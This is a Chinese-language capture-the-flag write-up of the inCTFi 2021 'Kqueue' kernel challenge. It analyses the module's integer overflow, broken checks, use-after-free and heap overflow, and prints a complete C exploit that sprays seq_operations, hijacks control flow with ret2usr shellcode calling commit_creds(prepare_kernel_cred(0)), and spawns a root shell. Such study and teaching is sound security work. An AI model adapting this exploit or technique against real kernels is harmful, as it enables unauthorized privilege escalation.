2021-inCTFi-Kqueue
去年参加的一场 CTF,当时不怎么会 kernel,现在想深入学习下 kernel,回过头来看看这道题
环境 & 一些问题
题目的附件可以在官方题目仓库里找到
需要注意的几件事情:
- 题目的环境是用 buildroot,登陆用户名是
ctf
,密码是kqueue
(可以在官方的 exp.py 里面找到) - 解包/重新打包 rootfs.cpio 的时候记得用 root 权限,不然启动的时候会有奇奇怪怪的权限或者文件丢失的问题
漏洞分析
qemu 启动参数
#!/bin/bash
exec qemu-system-x86_64 \
-cpu kvm64 \
-m 512 \
-nographic \
-kernel "bzImage" \
-append "console=ttyS0 panic=-1 pti=off kaslr quiet" \
-monitor /dev/null \
-initrd "./rootfs.cpio.pack" \
-net user \
-net nic
开启了 kaslr,关闭了 kpti,而且还没开启 SMAP,SMEP,意味着内核可以访问用户空间代码和数据,可以 ret2usr
内核模块直接提供了源码
题目创建了一个设备,可以对这个设备进行 ioctl 调用
struct miscdevice kqueue_device = {
.minor = MISC_DYNAMIC_MINOR,
.name = "kqueue",
.fops = &kqueue_fops,
};
ioctl 通过一个 request_t
结构体进行传参
typedef struct{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;
此外通过 cmd
参数分别实现管理多个队列的增删改查
static noinline long kqueue_ioctl(struct file *file, unsigned int cmd, unsigned long arg){
long result;
request_t request;
mutex_lock(&operations_lock);
if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))){
err("[-] copy_from_user failed");
goto ret;
}
switch(cmd){
case CREATE_KQUEUE:
result = create_kqueue(request);
break;
case DELETE_KQUEUE:
result = delete_kqueue(request);
break;
case EDIT_KQUEUE:
result = edit_kqueue(request);
break;
case SAVE:
result = save_kqueue_entries(request);
break;
default:
result = INVALID;
break;
}
ret:
mutex_unlock(&operations_lock);
return result;
}
队列的存储结构体如下:
typedef struct{
uint16_t data_size;
uint64_t queue_size; /* This needs to handle larger numbers */
uint32_t max_entries;
uint16_t idx;
char* data;
}queue;
struct queue_entry{
uint16_t idx;
char *data;
queue_entry *next;
};
create 操作:
static noinline long create_kqueue(request_t request){
long result = INVALID;
if(queueCount > MAX_QUEUES)
err("[-] Max queue count reached");
/* You can't ask for 0 queues , how meaningless */
if(request.max_entries<1)
err("[-] kqueue entries should be greater than 0");
/* Asking for too much is also not good */
if(request.data_size>MAX_DATA_SIZE)
err("[-] kqueue data size exceed");
/* Initialize kqueue_entry structure */
queue_entry *kqueue_entry;
/* Check if multiplication of 2 64 bit integers results in overflow */
ull space = 0;
if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)
err("[-] Integer overflow");
/* Size is the size of queue structure + size of entry * request entries */
ull queue_size = 0;
if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
err("[-] Integer overflow");
/* Total size should not exceed a certain limit */
if(queue_size>sizeof(queue) + 0x10000)
err("[-] Max kqueue alloc limit reached");
/* All checks done , now call kzalloc */
queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
/* Main queue can also store data */
queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));
/* Fill the remaining queue structure */
queue->data_size = request.data_size;
queue->max_entries = request.max_entries;
queue->queue_size = queue_size;
/* Get to the place from where memory has to be handled */
kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));
/* Allocate all kqueue entries */
queue_entry* current_entry = kqueue_entry;
queue_entry* prev_entry = current_entry;
uint32_t i=1;
for(i=1;i<request.max_entries+1;i++){
if(i!=request.max_entries)
prev_entry->next = NULL;
current_entry->idx = i;
current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));
/* Increment current_entry by size of queue_entry */
current_entry += sizeof(queue_entry)/16;
/* Populate next pointer of the previous entry */
prev_entry->next = current_entry;
prev_entry = prev_entry->next;
}
/* Find an appropriate slot in kqueues */
uint32_t j = 0;
for(j=0;j<MAX_QUEUES;j++){
if(kqueues[j] == NULL)
break;
}
if(j>MAX_QUEUES)
err("[-] No kqueue slot left");
/* Assign the newly created kqueue to the kqueues */
kqueues[j] = queue;
queueCount++;
result = 0;
return result;
}
create 分配队列,queue 的 data 字段和每个 entry 的 data 字段,分配 data_size 大小的内存,所有entry 结构紧跟在 queue 后面,entry 之间还通过 next 指针链接起来,queue 指针存放到全局 kqueues 变量数组里,queue 的情况大致如下:
queue(size = sizeof(queue_entry) * (request.max_entries+1) + sizeof(queue)):
data_size
queue_size
max_entries
idx
data
struct queue_entry[max_entries];
其中的 __builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space)
的作用是 space = sizeof(queue_entry) * (request.max_entries+1)
,并且乘法溢出的时候返回 true,后面的 __builtin_saddll_overflow
就是加法溢出检查了
溢出检查存在一个问题,就是 (request.max_entries+1)
这里本身没有做溢出检查,使 max_entries
为 0xffffffff,那么加 1 溢出为0,最后计算出来 queue_size = sizeof(queue)
就不对了
然后还有一个应该是出题人写错的地方,就是这个 err
是个函数:
static long err(char* msg){
printk(KERN_ALERT "%s\n",msg);
return -1;
}
所有的检查失败都调用这个函数,但是这个函数并不会影响后面的流程,那么所有的参数检查都是无效的,因为这个问题,后面利用的时候比官方 wp 还要简单,应该是非预期了,如果 err
写成宏函数就没有问题了
delete 操作只是把队列删掉了,指针也置 NULL 了,不过还有槽点,指针 free 后还要改写其指向内容,这会破坏堆管理吧(应该又是写错了):
static noinline long delete_kqueue(request_t request){
/* Check for out of bounds requests */
if(request.queue_idx>MAX_QUEUES)
err("[-] Invalid idx");
/* Check for existence of the request kqueue */
queue *queue = kqueues[request.queue_idx];
if(!queue)
err("[-] Requested kqueue does not exist");
kfree(queue);
memset(queue,0,queue->queue_size); // UAF
kqueues[request.queue_idx] = NULL;
return 0;
}
edit 操作:
static noinline long edit_kqueue(request_t request){
/* Check the idx of the kqueue */
if(request.queue_idx > MAX_QUEUES)
err("[-] Invalid kqueue idx");
/* Check if the kqueue exists at that idx */
queue *queue = kqueues[request.queue_idx];
if(!queue)
err("[-] kqueue does not exist");
/* Check the idx of the kqueue entry */
if(request.entry_idx > queue->max_entries)
err("[-] Invalid kqueue entry_idx");
/* Get to the kqueue entry memory */
queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);
/* Check for the existence of the kqueue entry */
exists = false;
uint32_t i=1;
for(i=1;i<queue->max_entries+1;i++){
/* If kqueue entry found , do the necessary */
if(kqueue_entry && request.data && queue->data_size){
if(kqueue_entry->idx == request.entry_idx){
validate(memcpy(kqueue_entry->data,request.data,queue->data_size));
exists = true;
}
}
kqueue_entry = kqueue_entry->next;
}
/* What if the idx is 0, it means we have to update the main kqueue's data */
if(request.entry_idx==0 && kqueue_entry && request.data && queue->data_size){
validate(memcpy(queue->data,request.data,queue->data_size));
return 0;
}
if(!exists)
return NOT_EXISTS;
return 0;
}
根据参数 queue_idx 选择队列,找到 entry_idx 对应的 entry 写入 data 指向的数据,需要注意的是 queue 结构体也有一个 data 字段,这个相当于 entry_idx 为 0 的 entry,可以算是头节点吧,没有什么漏洞点,但是这里也有个槽点,就是这个 request->data 可是用户地址空间的指针,要不是 SMAP 没开,validate(memcpy(kqueue_entry->data,request.data,queue->data_size));
就炸了
save 操作:
static noinline long save_kqueue_entries(request_t request){
/* Check for out of bounds queue_idx requests */
if(request.queue_idx > MAX_QUEUES)
err("[-] Invalid kqueue idx");
/* Check if queue is already saved or not */
if(isSaved[request.queue_idx]==true)
err("[-] Queue already saved");
queue *queue = validate(kqueues[request.queue_idx]);
/* Check if number of requested entries exceed the existing entries */
if(request.max_entries < 1 || request.max_entries > queue->max_entries)
err("[-] Invalid entry count");
/* Allocate memory for the kqueue to be saved */
char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));
/* Each saved entry can have its own size */
if(request.data_size > queue->queue_size)
err("[-] Entry size limit exceed");
/* Copy main's queue's data */
if(queue->data && request.data_size)
validate(memcpy(new_queue,queue->data,request.data_size));
else
err("[-] Internal error");
new_queue += queue->data_size;
/* Get to the entries of the kqueue */
queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);
/* copy all possible kqueue entries */
uint32_t i=0;
for(i=1;i<request.max_entries+1;i++){
if(!kqueue_entry || !kqueue_entry->data)
break;
if(kqueue_entry->data && request.data_size)
validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
else
err("[-] Internal error");
kqueue_entry = kqueue_entry->next;
new_queue += queue->data_size;
}
/* Mark the queue as saved */
isSaved[request.queue_idx] = true;
return 0;
}
save 操作把指定数量的 data 存放到新分配的大小为 queue_size
的内存里,然后这里有个漏洞点:
...
/* Each saved entry can have its own size */
if(request.data_size > queue->queue_size)
err("[-] Entry size limit exceed");
...
if(queue->data && request.data_size)
validate(memcpy(new_queue,queue->data,request.data_size));
...
for(i=1;i<request.max_entries+1;i++){
if(!kqueue_entry || !kqueue_entry->data)
break;
if(kqueue_entry->data && request.data_size)
validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
else
err("[-] Internal error");
kqueue_entry = kqueue_entry->next;
new_queue += queue->data_size;
}
所有的 memcpy 使用的长度都是用户传递过来的 request.data_size
,而参数检查里面只检查了 request.data_size
是否超过 queue->queue_size
, 理应是 if(request.data_size > queue->data_size)
,这就存在一个堆溢出了 (虽然参数检查一点用没有)
漏洞利用
方法一
如果不考虑参数检查,利用方式非常简单,同时这也是 @arttnba3 师傅的做法
- create 操作,利用
request.max_entries=0xffffffff
溢出,创造一个只有 0x18 大小的 queue,并且忽略参数检查,data_size 比 queue_size 大,后面 save 才能溢出 - 堆喷射大量的 seq_operations,堆溢出后改写 seq_operations 的指针劫持程序执行流
- 劫持程序执行流,ret2usr,根据栈上面的数据泄露内核基址,执行
commit_creds(prepare_kernel_cred(0));
提权后返回用户态起 shell 即可
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
typedef struct{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;
int fd;
void create_kqueue(uint32_t max_entries, uint16_t data_size)
{
request_t req = {
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(fd, 0xDEADC0DE, &req);
}
void edit_kqueue(uint16_t queue_idx, uint16_t entry_idx, void *data)
{
request_t req = {
.queue_idx = queue_idx,
.data = (char *)data,
.entry_idx = entry_idx,
};
ioctl(fd, 0xDAADEEEE, &req);
}
void delete_kqueue(uint16_t queue_idx)
{
request_t req = {
.queue_idx = queue_idx,
};
ioctl(fd, 0xBADDCAFE, &req);
}
void save_kqueue(uint16_t queue_idx, uint32_t max_entries, uint16_t data_size)
{
request_t req = {
.queue_idx = queue_idx,
.data_size = data_size,
.max_entries = max_entries,
};
ioctl(fd, 0xB105BABE, &req);
}
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_stat()
{ //保护环境
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
:
: "memory");
}
void shellcode()
{
asm(
"movq 8(%%rsp), %%r12;"
"subq $0x201179, %%r12;" // kernel base
"movq %%r12, %%r13;"
"addq $0x8c580, %%r13;" // prepare_kernel_cred
"addq $0x8c140, %%r12;" // commit_cred
"xorq %%rdi, %%rdi;"
"call *%%r13;"
"movq %%rax, %%rdi;"
"call *%%r12;"
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $shell;"
"pushq $0;"
"swapgs;"
"popq %%rbp;"
"iretq;" ::"m"(user_ss),
"m"(user_sp), "m"(user_rflags), "m"(user_cs));
}
void shell()
{
system("/bin/sh");
exit(0);
}
int main(int argc, char const* argv[])
{
uint64_t data[0x20];
int seq_fds[0x200];
save_stat();
printf("shellcode address = %#lx\n", (uint64_t)shellcode);
if ((fd = open("/dev/kqueue", O_RDWR)) < 0) {
perror("open kqueue");
exit(-1);
}
for (int i = 0; i < 0x20; i++) {
// data[i] = (uint64_t) 0xdeeabeefdeadbeef;
data[i] = (uint64_t)shellcode;
}
create_kqueue(0xffffffff, sizeof(data));
edit_kqueue(0, 0, data);
for (int i = 0; i < 0x200; i++) {
seq_fds[i] = open("/proc/self/stat", O_RDONLY);
}
save_kqueue(0, 0, 0x40);
for (int i = 0; i < 0x200; i++) {
read(seq_fds[i], data, 0x10);
}
return 0;
}
方法二
如果要考虑参数检查,就当这个参数检查是有效的情况下,利用方式也很相似
- create,queue1,data_size=0x20
- create,queue2,max_entries=0xffffffff,queue_size=0x18,data_size=0x20,要求 queue2 后面紧跟的位置就是 queue1->data 或者 queue1_entries->data 的位置
- edit queue1,修改 queue1某个data,刚好是 queue2 的第一个 entries,那么就可以伪造一个 queue_entry,data为许多 shellcode 指针
- 堆喷射 file_operations
- save queue2,传递参数 max_entries=1,因为 queue2->max_entries 为 0xffffffff,所以检查是可以通过的,因为第一个 entry 已经伪造好了,data 指向许多 shellcode 指针,堆越界的时候有可能覆盖到 seq_operations 里,从而劫持程序执行流,后续操作就一样了
这个思路是 ScUpax0s师傅的 writeup 里的
具体操作起来,第一第二步可能会复杂一点,具体描述和 ScUpax0s 师傅的 writeup 有点不一样,大概是这个意思就行
详细 exp 我就不再重复了,可以参考 ScUpax0s 师傅的 writeup
方法三?
在前面的分析中,堆溢出的主要原因是 参数检查里面只检查了 request.data_size
是否超过 queue->queue_size
而不是 queue->data_size
所以 create 的加法溢出并不会对这个堆溢出有多大的影响,只是因为有这个洞的存在,使得 new_queue
分配的大小是 0x18,其相邻位置有概率是 0x20 大小的 seq_operations 结构体,方便了利用
在这里提供一个堆溢出的想法:
- 正常的 create ,比如 max_entries=1,data_size=0x20,那么 queue_size 为
0x18 * (1 + 1) + 0x18
即 0x48 - save,request->max_entries=1,request->data_size=0x30,因为 queue_size 为 0x48,通过检查
- memcpy 的时候,写入了
0x30 * 2
即 0x60 的数据,堆同样溢出了
通过控制 queue_size,可以控制 new_queue 堆内存的大小,再通过控制 edit,还有 save 时 request->max_entries,request->data_size,可以控制 new_queue 溢出的内容和长度
需要的就是一个合适的结构体了,初步判断 tty_struct 不太行,因为 tty_struct 的 ops 字段之前还有一些比较重要的数据不能覆盖,而 ops 字段那个结构体在源码中也没找到在哪分配的,好像是固定的静态字段,官方 writeup 说的是堆喷 tty_struct,但 exp 确实 seq_operations 没懂啥情况
才疏学浅,没想到能有哪些结构体能劫持一下,往后学习再看看